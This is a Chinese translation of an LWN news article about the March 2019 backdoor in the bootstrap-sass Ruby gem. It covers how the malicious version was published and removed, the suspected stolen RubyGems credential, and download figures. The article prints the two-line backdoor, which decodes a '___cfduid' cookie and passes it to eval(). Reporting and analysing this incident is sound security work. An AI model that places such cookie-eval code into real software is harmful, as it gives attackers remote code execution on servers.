内容简介:全文完极度欢迎将文章分享到朋友圈长按下面二维码关注:Linux News搬运工,希望每周的深度文章以及开源社区的各种新近言论,能够让大家满意~
A backdoor in a popular Ruby gem
By Jake Edge April 10, 2019
题图: Photo by Pixabay from Pexels
总有一些攻击者试图把后门安插进各个编程语言的软件包代码仓库里(例如,npm, PyPI,今天要提到的RubyGems),搞得跟奥林匹克竞赛差不多了。每次你不留神的时候,就会出来一个新的后门。这次 Ruby 用户就受害了,Ruby on Rails(一个web-application框架)里面的一个常用gem组件就被埋了一个远程调用的后门。
这里提到的是bootstrap-sass gem,主要是为Sass环境下提供了Bootstrap的面向移动设备的JavaScript library。因为它很容易加到各个网站上去,所以有很多很多网站都用了这个gem。尤其是按找现在的开发流程,各个gem之间有依赖关系,因此可能用户并没有主动选择添加这个gem,而是被其他包的依赖关系导致bootstrap-sass被选中安装到系统里,或者添加到cloud以及container的镜像image里面。最终在人们没有注意的情况下部署上线。而bootstrap-sass在3月下旬(2019年)被某个匿名攻击者加入了一个后门。
包含后门的release发布之后,很快被人发现了(不到一天)。攻击者可能是在3月26日之前,就把Version 3.2.0.2的bootstrap-sass gem从RubyGems仓库移除了。这样用户在3月26日安装RubyGems的话就会被选中3.2.0.3版本(包含后门漏洞的版本)。当天晚些时候Derek Barnes发现这个问题,报告给bootstrap-sass的GitHub issue tracker,此后一小时内这个恶意版本就从RubyGems移除了。虽然响应非常快,但是仍然给了恶意软件一个时间窗口来感染受害者。并且,由于gem删除的一些策略,导致这个时间窗口还被延长了额外一个星期,恶意版本也仍然可以用它的版本号来下载到。
后门代码看起来很明显。Snyk的邮件里面指出,代码藏在bootstrap-sass的lib/active-controller/middleware.rb文件里面。下面这几行,哪怕不熟悉Ruby的开发者也会觉得很奇怪:
x = Base64.urlsafe_decode64(e['http_cookie'.upcase].
scan(/___cfduid=(.+);/).flatten[0].to_s) eval(x) if x
这里的行为是把客户端的cookie采集下来,用base64 decode后直接执行eval(),这种行为普通人也能看出可疑来。"__cfduid" cookie是一个普通cookie,供Cloudflare所用,会由web server来decode饼执行。而这里用到的是“___cfduid" (三个下划线)cookie,专门供攻击软件malware使用。这段代码只有当Rails application在生产环境里面运行时才会执行。最终会把client发送过来的代码直接执行。github上有详细解读。
目前的猜测是gem的两个maintainer中的某一位的RubyGems 的登陆秘钥被窃取了,所以攻击者可以更新package并且删掉前一版本从而强制用户升级到恶意版本。不过,根据Barnes的调查,攻击者似乎没有权限对github的repository进行升级,不能打3.2.03的tag,也没有权限发布一个常见的release annoucement。所以,很幸运的说,攻击者只有RubyGems的登陆秘钥,缺少其他的秘钥,因此没有办法更好的隐藏他们的恶意代码。这也是Barnes能马上发现这个恶意代码的因素之一。
bootstrap-sass的维护者Mazovetskiy和Thomas McDonald讨论了一下怎样能让这些操作更安全,难以攻破。例如RubyGems目前没有记录是谁推送了这个恶意版本,也就无法查出究竟是哪位维护者的秘钥被窃取了。还有可以改进multi-factor authentication(MFA,多重登陆验证,例如用短信验证等)。
整体来说,这次的攻击影响很小。前面提到了这个漏洞很短的时间内就被发现和fix了。虽然这个gem很常用,不过这个后门攻击的时候没有选择目前的主流版本3.4.x分支,而是修改3.2.0.2这个版本,这是2014年9月的一个老版本了。
根据RubyGems的统计信息,3.2.0.2版本下载了120万次。3.2.0.3(后门版本)只下载了1477次,而修正版本3.2.0.4(其实跟3.2.0.2内容一致)也有1700次下载了。3.2系列以前也许用户很多,不过现在已经越来越少了。而目前最常用的分支是3.4分支,它的3.4.1版本是今年2月发布的,目前已经有250000次下载了。
尽管这个事件看起来影响很小,不过下一次被攻击的话就不一定了。在开源软件社区里面,我们需要找到方法来抵御这种攻击。只要今后一直有这种无人监管的软件更新和部署机制,就有可能碰到这样的攻击。大家要做的防护还很多,任重而道远。
全文完
极度欢迎将文章分享到朋友圈
长按下面二维码关注:Linux News搬运工,希望每周的深度文章以及开源社区的各种新近言论,能够让大家满意~
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- GitHub把比特币代码埋入北极圈雪山,作为未来千年内的安全港
- 【安全帮】彭博社指控华为网络设备有后门,但所谓的后门只不过是普通漏洞
- 某后门病毒分析报告
- Turla利用水坑攻击植入后门
- APT41 Speculoos后门分析
- CHAOS-简单实用的后门生成工具
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。